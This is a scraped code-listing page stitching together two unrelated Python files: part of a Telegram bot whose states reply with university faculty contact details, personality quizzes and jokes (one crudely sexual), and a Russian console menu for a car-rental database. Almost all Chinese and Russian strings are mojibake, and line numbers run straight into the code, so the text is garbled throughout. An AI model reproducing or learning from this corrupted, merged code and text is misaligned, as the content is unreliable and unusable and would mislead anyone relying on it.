ä»é¢çµæ§è¨è¨ãå¥åº·çè·æç¨åå人è¨å\n\nç³»æå¥ï¼\nè³è¨ç³» / 製é æ\n\né»è©±ï¼\n06-2757575 ext 34228\n\nE-mailï¼\nphtsai@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nè³è¨ç³»çµ±èæç¨å¯¦é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95508)")501 self.go_back(update)502 def on_exit_state37(self, update):503 print('Leaving state37')504 505 def on_enter_state38(self, update):506 update.message.reply_text("è¡æå å©çææ\n\nå°é·åç 究é å:\nå¤åªé«è³è¨ç³»çµ±ãé²ç«¯å¤åªé«è¨ç®ãé»è
¦è¦è¦ºèåå½¢èå¥ãæ©å¨å¸ç¿ãé»è
¦åå¸ãèæ¬å¯¦å¢èæ´å¢å¯¦å¢æè¡æç¨\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62557\n\nE-mailï¼\nanita_hu@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nå¤åªé«è³è¨ç³»çµ±å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨6F 65601)\n\nå人網é ï¼\nhttp://mislab.csie.ncku.edu.tw/trimy")507 self.go_back(update)508 def on_exit_state38(self, update):509 print('Leaving state38')510 511 def on_enter_state39(self, update):512 update.message.reply_text("æ¶åæ å©çææ\n\nå°é·åç 究é å:\nç°è³ªå¹³è¡è¨ç®ãåµå
¥å¼ç³»çµ±è¨è¨èæä½³åãç·¨è¯å¨è¨è¨\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62527\n\nE-mailï¼\nchiaheng@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nåç»ç³»çµ±ç 究實é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨7F 65708)\n\nå人網é ï¼\nhttp://chiaheng.wordpress.com")513 self.go_back(update)514 def on_exit_state39(self, update):515 print('Leaving state39')516 517 def on_enter_state40(self, update):518 update.message.reply_text("æä¿¡æ° å¯ææ\n\nå°é·åç 究é å:\nè»é«å·¥ç¨ã網é èªåå測試ãæåå°åæ¶æ§ãç¨å¼ç¢¼åæãè»é«ä»£ç人\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / è¨ç¶²ä¸å¿\n\né»è©±ï¼\n06-2757575 ext 61035\n\nE-mailï¼\njielee@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nè»é«å·¥ç¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨9F 65912)")519 self.go_back(update)520 def on_exit_state40(self, update):521 print('Leaving state40')522 523 def on_enter_state41(self, update):524 update.message.reply_text("å¼µçç´ å©çææ\n\nå°é·åç 究é å:\nè³æææãé²ç«¯éç®å¹³å°æç¨ãè³æ庫管çã系統åæèè¨è¨ãæ¸ä½å¸ç¿ç³»çµ±ãç¨å¼è¨è¨èæ°å¯«ãç¨å¼è¨è¨èæ°å¯«\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / è¨ç¶²ä¸å¿\n\né»è©±ï¼\n06-2757575 ext 61053\n\nE-mailï¼\nchangrh@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nåµæ°ç³»çµ±è»é«æç¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨9F 65912)")525 self.go_back(update)526 def on_exit_state41(self, update):527 print('Leaving state41')528 529 def on_enter_state42(self, update):530 update.message.reply_text("é»æ¬ç¾¤ æ¥çå°å®¶ å
¼ å©çææ\n\nå°é·åç 究é å:\nä½æ¥ç³»çµ±ãåµå
¥å¼ç³»çµ±ãæ¶è²»æ§é»åç¢å\n\nç³»æå¥ï¼\nè³è¨ç³»\n\né»è©±ï¼\n06-2757575 ext 62542\n\nE-mailï¼\njserv.tw@gmail.com\n\nå人網é ï¼\nhttp://wiki.csie.ncku.edu.tw/User/jserv")531 self.go_back(update)532 def on_exit_state42(self, update):533 print('Leaving state42')534 535 def on_enter_statePsychologicalTest(self, update):536 update.message.reply_text("love or personality or work")537 #self.go_back(update)538 def on_exit_statePsychologicalTest(self, update):539 print('Leaving statePsychologicalTest')540 def on_enter_stateLove(self, update):541 update.message.reply_text("ä½ èµ°å¨æ£®æä¸ï¼çªç¶æç¥ç¶ç´æ¯åºç¾ï¼ç¥è¦éä½ ä¸æ¬¾ææ
ç³æï¼ä½ 覺å¾ä»éä½ çæ¯ä¸é¢åªä¸æ¬¾ï¼\naãç´
ç½æ¢ç´ç³\nbã彩è²é½ç³ç³\ncãä¸å½©ææç³\ndãç½è²æ¹ç³\neãæ©è²åå½¢ç³")542 self.go_back(update)543 def on_exit_stateLove(self, update):544 print('Leaving stateLove')545 546 def on_enter_stateLoveA(self, update):547 update.message.reply_text("aãä½ çå¿
修課é¡æ¯ãæ¾ä¸çæèé¢åã\nä½ åæ¡ä¸å人å¾æ顯ï¼ç¼å
總æ¯è¿½èå°æ¹å¨è½ï¼æ¯æ¯éå£é½æ¯èå°æ¹æéç話é¡ï¼ç¶è碰å°ä½ ä¸åæ¡ç人ï¼ä½ ä¹ä¸æ浪費æéå¨ä»èº«ä¸ãå°æ¼ä½ æ好æçå°è±¡ï¼ä½ å»ä¸ä¸å®æåæ°£åç½ï¼ç¸½æ¯ä¸å試æ¢å°æ¹çæ覺ï¼å°±æèªå·±è¡¨é¯æ
ã\næé¢åæ²æé¯ï¼ä½ä½ æææä¹æå çºå¤ªæé¢åèä¸é¡ææ¿èªé¯èª¤ãåæ§æ´»æ½çä½ ï¼å
¶å¯¦ä¸ç¼ºæææ©æãåè¬ä¸è¦å°å°±å¨æ²æå¿åçéä¿ï¼æé¸èä½ å¢ååæµçå°è±¡ï¼æè½å½°é¡¯ä½ èç¼çç¹è³ªã")548 self.go_back(update)549 def on_exit_stateLoveA(self, update):550 print('Leaving stateLoveA')551 552 def on_enter_stateLoveB(self, update):553 update.message.reply_text("bãä½ çå¿
修課é¡æ¯ãå¸ç¿æ¾ä¸æ¦è£èé¢å
·ã\nä½ æ¯åå¤æåæç人ï¼å¨ææ
ä¸åéä¸å°å·å®³ï¼ç«¥å¹´ä¸åéè¦çé°å½±ãéå°å¹´ååççå·ææ ï¼ï¼å°è´ç¾å¨çä½ å°ææ
缺ä¹ä¿¡å¿ãçºäºä¿è·èªå·±æ¦è£æå°é³ãé£ä»¥ææ¸ç人ãå
¶å¯¦ä½ çå
§å¿æ¯å®ç´è渴ææçï¼ååä½ èæ¯æä¸èä½ ä¸åä¸çç人ï¼è®ä½ é·å
¥ç¡æ¢å¢ççå¿éæ²ã\næå¾ï¼ä½ åªå¥½æµé£æ¼ææ§éä¿ï¼å¿è»èå¼±çä½ ï¼å çºå®³æå¯å¯ï¼å¿è£¡é¢å
¶å¯¦æ²æå®å
¨æå»åæ¨ä¸å¾æ¾æï¼å°è´èªå·±ä¸æ·è¼ªè¿´ãæ¯è©²è®èªå·±è§£è«çæåäºï¼æ½èº«ï¼å
¶å¯¦æ¯ä½ æ³çé容æã")554 self.go_back(update)555 def on_exit_stateLoveB(self, update):556 print('Leaving stateLoveB')557 558 def on_enter_stateLoveC(self, update):559 update.message.reply_text("cãä½ çå¿
修課é¡æ¯ãæ¾ä¸å°ææ
ççæ³åï¼æ¾å平衡æã\nä½ å°æ¼ææ
æ±æè太ç¾å¥½çæ§æ¬ï¼ä½ 渴æå¦ä¸åå¯ä»¥å¾¹åºäºè§£ä½ çæ³æ³ï¼æ以ç¶å
©äººå çºæäºäºèæè¦ä¸åæï¼ä½ ææå°é常沮åªãç¶èï¼å¨å樣çé·ç°å¢ä¸çå§å¦¹é½ææè¦ä¸åçæåï¼æ´ä½æ³æ¯ä¸åçé·å®¶åºãç°å¢é½ä¸åç人ã\nä½ éè¦å¨å¤¢æ³èç¾å¯¦éæ±å¾å¹³è¡¡ãå¸ç¿å¨é»è©çéä¿ä¸ï¼æ¾åç¨èæçå¹³éãç¶ä½ å¸æ寬宥èªå·±èå°æ¹ï¼ä½ å°ææåå°æ´èªå¨çæ
æéä¿ã")560 self.go_back(update)561 def on_exit_stateLoveC(self, update):562 print('Leaving stateLoveC')563 564 def on_enter_stateLoveD(self, update):565 update.message.reply_text("dãä½ çå¿
修課é¡æ¯ãæ¾åå°èªå·±çèªä¿¡ã\nä½ æ ¹æ¬éæ²æºå好è«ææï¼åææ¯å°ææå¿åææ¼ï¼å®³æèªå·±æ²è³æ ¼è¢«æï¼æèªå·±é½ç
§é¡§ä¸å¥½èªå·±äºï¼å¦ä½å»å°å¥äººå¥½ï¼ä½ çåé¡å¨æ¼å°èªå·±ç¼ºä¹èªä¿¡ï¼ç¿æ
£æäºæ
æ³ç太æ²è§ä¾åèªå·±ã\nåæ³ä¸ä¸ä½ ææå¿éçäºï¼æ¯å¦æ許å¤ä¸æ¾ç¼çãè®èªå·±ç½æå¿ä¸å ´å¢ï¼é£éº½ï¼ä½ éå¨æå¿ä»éº½å¢ï¼åæ¢å»æå§ãç¸ä¿¡èªå·±å¼å¾è¢«æï¼ä½ ä¹æè½åå»æå¥äººã")566 self.go_back(update)567 def on_exit_stateLoveD(self, update):568 print('Leaving stateLoveD')569 570 def on_enter_stateLoveE(self, update):571 update.message.reply_text("eãä½ çå¿
修課é¡æ¯ãå¸æç¨ç«ï¼æ¾ä¸å®³æ被忽ç¥çæåã\nå¨ææ
é¢åï¼ä½ éæ¯åå©åï¼è²ªç©ãä»»æ§ãä¾è³´ãå®èº«æï¼ä½ ä¾è³´ä½ ç家人ãä½ çé¨èï¼è«ææãçµå©å¾ï¼ä¾è³´ä½ çå¦ä¸åã好å¥çä½ åæ¡åãçºä»éº½ï¼ãå¾ä¸å°æ»¿æççæ¡ä¾¿èªé¡§èªççæ°£ãä¸åæ¡è¢«å°æ¹å¿½ç¥çæ覺ï¼å»å¸¸å çºå°æ³¨å¨èªå·±çè趣è忽ç¥å°æ¹ã\næä¸ä½ å¾æç
§é¡§å©åçå¿çæºåãä½ è¦å¸æçï¼æ¯ç¨ç«ï¼ä¸è¦æå¿å¦ä¸åéä¸å»æ²æ³ä½ ï¼å°±ææä½ å¿è¨ãè¦ç¥éï¼æä¸å人æ¯æ¾å¨å¿ä¸ï¼èä¸æ¯æå¨å´éã")572 self.go_back(update)573 def on_exit_stateLoveE(self, update):574 print('Leaving stateLoveE')575 def on_enter_statePersonality(self, update):576 update.message.reply_text("å¦æè¦ä½ é¨èº«æ帶ã幸é符ãï¼ä½ ææå®æ¾å¨åªè£¡ï¼ä»¥ä¿ä½ä½ å¹³å®å¢ï¼\naãæ¾å¨å
§è¡£è£¡\nbãæ¾å¨é¨èº«çå
å
ä¸\ncãæå¨ææ©ä¸\ndãç¶æé
éææéæå¨èº«ä¸")577 #self.go_back(update)578 def on_exit_statePersonality(self, update):579 print('Leaving statePersonality')580 def on_enter_statePersonalityA(self, update):581 update.message.reply_text("aãç·å¼µå¤§å¸«ææ¸ï¼100% \nä½ æ¯å¤§å¤¥äººç¼ä¸çç·å¼µå¤§å¸«ï¼åªè¦ä½ ä¸ç·å¼µèµ·ä¾ï¼èè²å°±è·èé£çï¼èº«æç人é½ææåå°ä½ çç·å¼µæ°£æ°ãå çºä½ çåæ§æ¥ï¼éä¸çæ³æ¥è快快解決ï¼èæªè½æèå®åå°±è¡åï¼åèæé·å
¥å¦ä¸å麻ç
©ä¸ã")582 self.go_back(update)583 def on_exit_statePersonalityA(self, update):584 print('Leaving statePersonalityA')585 def on_enter_statePersonalityB(self, update):586 update.message.reply_text("bãç·å¼µå¤§å¸«ææ¸ï¼50% \nä½ ä¸æéæ¼ç·å¼µï¼å çºä»»ä½äºæ
å°ä½ ä¾èªªï¼é½æ¯æ解決æ¹æ³çï¼èå
¶è±è²»å¤ªå¤æéï¼è®èªå·±é·å
¥ç¦æ
®çè¦ççæ
ï¼ä¸å¦èç¥å¨å¨ï¼çå°äºæ
ç¼çåå»æèã")587 self.go_back(update)588 def on_exit_statePersonalityB(self, update):589 print('Leaving statePersonalityB')590 def on_enter_statePersonalityC(self, update):591 update.message.reply_text("cãç·å¼µå¤§å¸«ææ¸ï¼20% \nä½ ç¥ç¶ç®æäºå¤§æ¢ï¼ææåäºæ
大家é½ç¥éäºï¼ä½ ææç¶å¤§æï¼å¯ä»¥èªªå¸¸å¨çæ³å¤ãä½ä½ å»å¾å®¹æå人影é¿ï¼åªè¦è¦ªæ好åç·å¼µå
®å
®å°æ¾ä½ åéäºæ
ï¼å³ä½¿ä½ éæä¸æ¸
æ¥çæ³ï¼ä¹è·èä¸èµ·çª®ç·å¼µï¼")592 self.go_back(update)593 def on_exit_statePersonalityC(self, update):594 print('Leaving statePersonalityC')595 def on_enter_statePersonalityD(self, update):596 update.message.reply_text("dãç·å¼µå¤§å¸«ææ¸ï¼80%\nä½ æ¯ä¸å滿容æç·å¼µç人ï¼ä¸é»é¢¨å¹èåï¼å°±æè®ä½ è¡æäºæ³èµ·ä¾ï¼è¦æ¯ççç¼ç大äºï¼å¾å®¹æå¾å£èæ³ãèä½ åä¸æ³è®å¥äººç¼ç¾èåªåæä½ï¼ç¡å½¢ä¸è®ä½ çç²¾ç¥ã身é«é½é·æèæ¼ç·å¼µççæ
ï¼")597 self.go_back(update)598 def on_exit_statePersonalityD(self, update):599 print('Leaving statePersonalityD')600 def on_enter_stateWork(self, update):601 update.message.reply_text("å¦æä½ æ¯ä¸å®¶å¤§ä¼æ¥çè² è²¬äººï¼æä¸ä½å¹´è¼è²ç¾çç§äººç§æ¸ï¼ä½ ææ¬è¦å®å¥¹çä¸çæè£ï¼ä½ èªçºä¸åä½è
è¼ç¬¦åä½ çæ³æ³ï¼\naãä¿å®çå¥è£è£é·éèæ顯å¾èé\nbãçªé¡¯èº«æççªè£ä¸ä½å¯ä»¥å¸¶åºå»æé
¬èªå·±ä¹è³å¿æ
ç®\ncãä¸å¾åå
¶ä»è·å¡ä¸æ¨£ç©¿å·¥ä½æå
¬å¸è¦æ³¨æç´å¾\ndãä»»å
¶èªç±ç©¿è")602 #self.go_back(update)603 def on_exit_stateWork(self, update):604 print('Leaving stateWork')605 def on_enter_stateWorkA(self, update):606 update.message.reply_text("aãä¿å®çå¥è£è£é·éèæ顯å¾èé\nä½ æ¯å平常çèµ·ä¾å¾æ£æ¼«ï¼å¯¦éä¸åªè¦æå
¥å·¥ä½ä¾¿ä¸æ¬æ£ç¶ç人ãèªçæ¯ä½ ä¸è²«çåäºæ¹å¼ï¼èä¸åæ¼è² 責ï¼çµ²æ¯«ä¸é¦¬èï¼ä½ æçæ¨æ·è¡äºäºçå·¥ä½æ
度ï¼æä»¥ä½ æ¯å足çå·¥ä½çã")607 self.go_back(update)608 def on_exit_stateWorkA(self, update):609 print('Leaving stateWorkA')610 def on_enter_stateWorkB(self, update):611 update.message.reply_text("bãçªé¡¯èº«æççªè£ä¸ä½å¯ä»¥å¸¶åºå»æé
¬èªå·±ä¹è³å¿æ
ç®\nä½ å¾è°ææ©éï¼æå¾å¨è©²åªåçæååªåå·¥ä½ï¼è½å·æ¶çæåä¹ä¸æ¾éä¼æ¯çæ©æï¼æä»¥ä½ å¨å·¥ä½æç²¾ç¥ç¹å¥å¥½ï¼é滿注æå·¥ä½ç°å¢çæ
調ï¼ä½ åªè½èªªæ¯çèµ·ä¾è±¡åå·¥ä½çã")612 self.go_back(update)613 def on_exit_stateWorkB(self, update):614 print('Leaving stateWorkB')615 def on_enter_stateWorkC(self, update):616 update.message.reply_text("cãä¸å¾åå
¶ä»è·å¡ä¸æ¨£ç©¿å·¥ä½æå
¬å¸è¦æ³¨æç´å¾\nä½ æ¯åå
¬ç§åæç人ï¼éç¶è«ä¸ä¸æ¯åå·¥ä½çï¼ä½æ¯åªè¦è¾¦å
¬äºæï¼ä½ ä¸åæ¡æ¶åç§äººçäºæ
ï¼åºæ¬ä¸ä½ ä¹ç®å·¥ä½çåç人ç©ã")617 self.go_back(update)618 def on_exit_stateWorkC(self, update):619 print('Leaving stateWorkC')620 def on_enter_stateWorkD(self, update):621 update.message.reply_text("dãä»»å
¶èªç±ç©¿è\nä½ æ¯åå¥æå人ç©ï¼æ¯è¼æ
é·çåæ§çå·¥ä½ï¼å¦æèªçèµ·ä¾ï¼åäºä¸çµ²ä¸èï¼ä½æ¯å¦æä½ æ ¹æ¬æ²è趣ï¼ä½ å°±ææªå¡éå»ï¼ä¸å¤§çæãæä»¥ä½ æ¯ä¸æ¯å·¥ä½çï¼å®å
¨è¦å·¥ä½æ§è³ªèå®ã")622 self.go_back(update)623 def on_exit_stateWorkD(self, update):624 print('Leaving stateWorkD')625 def on_enter_stateChat(self, update):626 update.message.reply_text("Hi!")627 #self.go_back(update)628 def on_exit_stateChat(self, update):629 print('Leaving stateChat')630 def on_enter_stateChat1(self, update):631 update.message.reply_text("How are you?")632 #self.go_back(update)633 def on_exit_stateChat1(self, update):634 print('Leaving stateChat1')635 def on_enter_stateChat2(self, update):636 update.message.reply_text("Are you single?")637 #self.go_back(update)638 def on_exit_stateChat2(self, update):639 print('Leaving stateChat2')640 def on_enter_stateChat3(self, update):641 update.message.reply_text("Ok~This is for you.\nhttps://youtu.be/WCpKhCyqmFE")642 self.go_back(update)643 def on_exit_stateChat3(self, update):644 print('Leaving stateChat3')645 def on_enter_stateChat4(self, update):646 update.message.reply_text("Congratulations!\n")647 update.message.reply_photo('https://pbs.twimg.com/media/DB4AHDFU0AEu6G4.jpg')648 self.go_back(update)649 def on_exit_stateChat4(self, update):650 print('Leaving stateChat4')651 def on_enter_stateJoke(self, update):652 update.message.reply_text("normal or turbo")653 #self.go_back(update)654 def on_exit_stateJoke(self, update):655 print('Leaving stateJoke')656 def on_enter_stateJokeNormal(self, update):657 update.message.reply_text("æä¸å¤©ç¸½çµ±ä¸å°å¿æå°æ°´æºéäº.æ°å¥½æä¸åå°å©ç¶é\n總統就å°ä»å說:ãå¦æä½ åææèµ·ä¾æå°±çµ¦ä½ åæ¯äººä¸åé¡æã\n第ä¸åå°å©å°±èªªä»è¦ä¸è¼è
³è¸è»\n第äºåå°å©å°±èªªä»è¦ä¸åæ£çæå¥\n第ä¸åå°å©æ³äºå¾ä¹
說ä»è¦ä¸å°è¼ªæ¤
\n總統å¿é就覺å¾å¾å¥æªæè
³å¥½å¥½ççºä»éº¼éè¦è¼ªæ¤
å¢?\nå°±å第ä¸åå°å©èªª:ãä½ çºä»éº¼è¦è¼ªæ¤
å¢?ã\n第ä¸åå°å©å°±èªª:ãå¦ææç¸ç¥éææä½ èµ·ä¾æææçè
¿ææ·ã\n")658 self.go_back(update)659 def on_exit_stateJokeNormal(self, update):660 print('Leaving stateJokeNormal')661 def on_enter_stateJokeTurbo(self, update):662 update.message.reply_text("æå人ï¼ä¾å°æ¬å°ä¸å®¶å¥èº«é¤¨æ³æ¸è¥ï¼å¥½ä½¿èªå·±èæ¢äºï¼å¥èº«é¤¨è£¡åæå種å¥èº«è¨åï¼çä¾æºè¤éï¼æ¼æ¯ï¼éå¢ä¼é¸äºä¸ç¨®æ便å®çï¼å°±æ¯å¨ä¸å°æå
§æ¸æä¸ç£
ãä»è¢«å¸¶å°ä¸éæ¿å裡ï¼è£¡é¢ç«èä¸å赤裸ç女å©åï¼æ裡æ¿èåçåï¼ä¸é¢å¯«éï¼ãå¦æä½ è½æä½æï¼å°±å
è¨±ä½ å¹¹æï¼ãéå¢ä¼ç«å³æ¥åäºææ°ï¼éå§è¿½é女å©ï¼ä½æ¯æ¬¡é½æ¯å¿«è¦æä½å¥³å©æï¼å給她è·æï¼ä¸åå°æéå»äºï¼ä»ä»æ²ææä½é£å女å©ï¼å¥èº«æ練帶ä»å»ç¨±äºä¸ä¸é«éï¼å好å°äºä¸ç£
ããéæºä¸é¯åï¼ãéå¢ä¼å¿æ³ï¼ãææ¢è½æ¸è¥ï¼åè½éå¿è¶ãã\né次ï¼ä»é¸äºä¸åç¨è²´äºçæ¸è¥æ¹æ¡ï¼å¯ä»¥å¨ä¸å°æå
§æ¸å»å
©ç£
ãä»è¢«å¸¶å°ä¸éæ¿è£¡ï¼è£¡é¢ç«èå
©ä½å
¨è£¸ç女å©ï¼æ裡é½æ¿èçåï¼ä¸é¢ä¹å¯«éï¼ãå¦æä½ è½æä½æï¼å°±å
è¨±ä½ å¹¹æï¼ãéå¢ä¼ååè奮ï¼æå½å°è¿½è¶éå
©å女å©åï¼æå¾éæ¯ä¸åä¹æ²è¿½å°ï¼ä¸å°æå¾ï¼æç·´å給ä»ç¨±äºä¸é«éï¼å好æäºå
©ç£
èã\néæï¼éå¢ä¼è¢«æ¿æäºï¼ä»å訴ç¶çï¼ä»è¦é¸ç¨æè²´çæ¸è¥æ¹æ¡ï¼ç¶çåä»ä¿èä»ä¸å®è½å¤ å¨ä¸å°æå
§æ¸å»åç£
ï¼ä½æ¯åè£å
說ï¼éåæ¹æ¡ååå±éªï¼éå¢ä¼å¿æ³ï¼ä¸å°±æ¯åå¤å¹¾å女å©åï¼è¶å¤å°±è¶ææ©æï¼è³å°è½å¤ æä½ä¸åå§ãä»å¬ç¶çè¶å¿«æä»éå°é£åæè²´çæ¿éå»ï¼å管ç¶çä¸æ·åä»è²æå±éªãæ¼æ¯ï¼é人被帶å°ä¸åç¨é äºçä¸éæ¿å裡ï¼ä»åè®ä»é²å»å¾ï¼å¨å¤é¢éä¸äºéï¼æ¿é裡çå
ææï¼çå¾
ä»çæ¯ä¸é»é»ç©ç©ï¼åªè¦å®æ裡æ¿èä¸åçåï¼ä¸é¢å¯«éï¼ãå¦æææä½ä½ ï¼æå°±å¹¹ä½ ã")663 self.go_back(update)664 def on_exit_stateJokeTurbo(self, update):...
menu.py
Source:menu.py
...97 menu_count = main.main_menu_switcher(main.activated)98 # "7. ÐапÑоÑ: ÐвÑомобили в пÑокаÑе"99 elif position == 6:100 request.rent_request()101 go_back()102 # "8. СоÑ
Ñанение в Ñайл"103 elif position == 7:104 file.save_file()105 go_back()106 # "9. ÐагÑÑзка из Ñайла"107 elif position == 8:108 file.load_file()109 go_back()110 # "i. СпÑавка"111 elif position == 9:112 show_info()113 go_back()114 # "0. ÐÑÑ
од"115 elif position == 10:116 return 0117 else:118 # "1. Ðаполнение ÑаблиÑÑ"119 if position == 0:120 menu_count = const.FILL_LIST_MENU_COUNT121 menu(const.FILL_LIST_MENU_MODE, menu_count)122 menu_count = main.main_menu_switcher(main.activated)123 # "2. ÐагÑÑзка из Ñайла"124 elif position == 1:125 file.load_file()126 go_back()127 # "i. СпÑавка"128 elif position == 2:129 show_info()130 go_back()131 # "0. ÐÑÑ
од"132 elif position == 3:133 return 0134 elif mode == const.PRINT_LIST_MENU_MODE:135 if position == 0:136 out.print_employee_table()137 go_back()138 elif position == 1:139 out.print_position_table()140 go_back()141 elif position == 2:142 out.print_brand_table()143 go_back()144 elif position == 3:145 out.print_service_table()146 go_back()147 elif position == 4:148 out.print_car_table()149 go_back()150 elif position == 5:151 out.print_client_table()152 go_back()153 elif position == 6:154 out.print_rent_table()155 go_back()156 elif mode == const.FILL_LIST_MENU_MODE:157 if position == 0:158 fill.fill_employee_table(main.table_row[const.EMPLOYEE_TABLE])159 go_back()160 elif position == 1:161 fill.fill_position_table(main.table_row[const.POSITION_TABLE])162 go_back()163 elif position == 2:164 fill.fill_brand_table(main.table_row[const.BRAND_TABLE])165 go_back()166 elif position == 3:167 fill.fill_service_table(main.table_row[const.SERVICE_TABLE])168 go_back()169 elif position == 4:170 fill.fill_car_table(main.table_row[const.CAR_TABLE])171 go_back()172 elif position == 5:173 fill.fill_client_table(main.table_row[const.CLIENT_TABLE])174 go_back()175 elif position == 6:176 fill.fill_rent_table(main.table_row[const.RENT_TABLE])177 go_back()178 elif mode == const.ADD_LIST_MENU_MODE or mode == const.DELETE_LIST_MENU_MODE:179 if position == 0:180 edit.edit_employee_table()181 go_back()182 elif position == 1:183 edit.edit_position_table()184 go_back()185 elif position == 2:186 edit.edit_brand_table()187 go_back()188 elif position == 3:189 edit.edit_service_table()190 go_back()191 elif position == 4:192 edit.edit_car_table()193 go_back()194 elif position == 5:195 edit.edit_client_table()196 go_back()197 elif position == 6:198 edit.edit_rent_table()199 go_back()200 elif mode == const.REQUEST_HRD_LIST_MENU_MODE:201 if position == 0:202 request.hrd_request()203 go_back()204 elif position == 1:205 request.hrd_filter_specific_position()206 go_back()207 elif mode == const.REQUEST_AUTOPARK_LIST_MENU_MODE:208 if position == 0:209 request.autopark_request()210 go_back()211 elif position == 1:212 request.autopark_filter_specific_brand()213 go_back()214 elif position == 2:215 request.autopark_filter_in_and_off_rent()216 go_back()217 elif position == 3:218 request.autopark_filter_specific_delivery_and_return_date()219 go_back()220 elif position == 4:221 request.autopark_filter_paid_and_unpaid_rented_cars()222 go_back()223 # ÐеÑеÑиÑовка224 if mode == const.MAIN_MENU_MODE:225 show_main_menu(cursor)226 elif mode == const.PRINT_LIST_MENU_MODE:227 show_print_list_menu(cursor)228 elif mode == const.FILL_LIST_MENU_MODE:229 show_fill_list_menu(cursor)230 elif mode == const.ADD_LIST_MENU_MODE:231 show_add_list_menu(cursor)232 elif mode == const.DELETE_LIST_MENU_MODE:233 show_delete_list_menu(cursor)234 elif mode == const.REQUEST_HRD_LIST_MENU_MODE:235 show_request_hrd_list_menu(cursor)236 elif mode == const.REQUEST_AUTOPARK_LIST_MENU_MODE:237 show_request_autopark_list_menu(cursor)238def show_main_menu(cur):239 os.system("clear")240 print("\t\t _____ _____ _____ _ _ _____ _____")241 print("\t\t| | | \\ / \\ | | | | / \\ |__ __|")242 print("\t\t| | | | | <=> | | | | | | |/ / | <=> | | |")243 print("\t\t| | | | | ___/ | | | | | | | _ | | |")244 print("\t\t| | | | | | | | | | | |\\ \\ | | | | | |")245 print("\t\t|_| |_| |_| \\_____/ |_| |_| |_| |_| |_|\n")246 print("\t\t _____ _____ _____ _____")247 print("\t\t / \\ | \\ |__ __| / \\")248 print("\t\t | <=> | | <=> | | | | | | |")249 print("\t\t | _ | | < | | | | | |")250 print("\t\t | | | | | <=> | | | | | | |")251 print("\t\t |_| |_| |_____/ |_| \\_____/\n\n")252 if main.activated:253 print("\t\t %s 1. ÐÑвод ÑаблиÑÑ" % (cur[0]))254 print("\t\t %s 2. Ðаполнение ÑаблиÑÑ" % (cur[1]))255 print("\t\t %s 3. Ðобавление ÑлеменÑов в ÑаблиÑÑ" % (cur[2]))256 print("\t\t %s 4. Удаление ÑлеменÑов из ÑаблиÑÑ" % (cur[3]))257 print("\t\t ___________________________________\n")258 print("\t\t %s 5. ÐапÑоÑ: ÐÑдел кадÑов" % (cur[4]))259 print("\t\t %s 6. ÐапÑоÑ: ÐвÑопаÑк" % (cur[5]))260 print("\t\t %s 7. ÐапÑоÑ: ÐвÑомобили в пÑокаÑе" % (cur[6]))261 print("\t\t ___________________________________\n")262 print("\t\t %s 8. СоÑ
Ñанение в Ñайл" % (cur[7]))263 print("\t\t %s 9. ÐагÑÑзка из Ñайла" % (cur[8]))264 print("\t\t ___________________________________\n")265 print("\t\t %s i. СпÑавка" % (cur[9]))266 print("\t\t %s 0. ÐÑÑ
од" % (cur[10]))267 else:268 print("\t\t %s 1. Ðаполнение ÑаблиÑÑ" % (cur[0]))269 print("\t\t ___________________________________\n")270 print("\t\t %s 2. ÐагÑÑзка из Ñайла" % (cur[1]))271 print("\t\t ___________________________________\n")272 print("\t\t %s i. СпÑавка" % (cur[2]))273 print("\t\t %s 0. ÐÑÑ
од" % (cur[3]))274def show_print_list_menu(cur):275 os.system("clear")276 print("\n\n\t\tÐакÑÑ ÑаблиÑÑ ÐÑ Ñ
оÑиÑе вÑвеÑÑи:")277 print("\t\t %s 1. СоÑÑÑдники" % (cur[0]))278 print("\t\t %s 2. ÐолжноÑÑи" % (cur[1]))279 print("\t\t %s 3. ÐаÑки авÑомобилей" % (cur[2]))280 print("\t\t %s 4. ÐополниÑелÑнÑе ÑÑлÑги" % (cur[3]))281 print("\t\t %s 5. ÐвÑомобили" % (cur[4]))282 print("\t\t %s 6. ÐлиенÑÑ" % (cur[5]))283 print("\t\t %s 7. ÐÑокаÑ" % (cur[6]))284def show_fill_list_menu(cur):285 os.system("clear")286 print("\n\n\t\tÐакÑÑ ÑаблиÑÑ ÐÑ Ñ
оÑиÑе заполниÑÑ:")287 print("\t\t %s 1. СоÑÑÑдники" % (cur[0]))288 print("\t\t %s 2. ÐолжноÑÑи" % (cur[1]))289 print("\t\t %s 3. ÐаÑки авÑомобилей" % (cur[2]))290 print("\t\t %s 4. ÐополниÑелÑнÑе ÑÑлÑги" % (cur[3]))291 print("\t\t %s 5. ÐвÑомобили" % (cur[4]))292 print("\t\t %s 6. ÐлиенÑÑ" % (cur[5]))293 print("\t\t %s 7. ÐÑокаÑ" % (cur[6]))294def show_add_list_menu(cur):295 os.system("clear")296 print("\n\n\t\tРкакÑÑ ÑаблиÑÑ ÐÑ Ñ
оÑиÑе добавиÑÑ ÑлеменÑ:")297 print("\t\t %s 1. СоÑÑÑдники" % (cur[0]))298 print("\t\t %s 2. ÐолжноÑÑи" % (cur[1]))299 print("\t\t %s 3. ÐаÑки авÑомобилей" % (cur[2]))300 print("\t\t %s 4. ÐополниÑелÑнÑе ÑÑлÑги" % (cur[3]))301 print("\t\t %s 5. ÐвÑомобили" % (cur[4]))302 print("\t\t %s 6. ÐлиенÑÑ" % (cur[5]))303 print("\t\t %s 7. ÐÑокаÑ" % (cur[6]))304def show_delete_list_menu(cur):305 os.system("clear")306 print("\n\n\t\tРкакÑÑ ÑаблиÑÑ ÐÑ Ñ
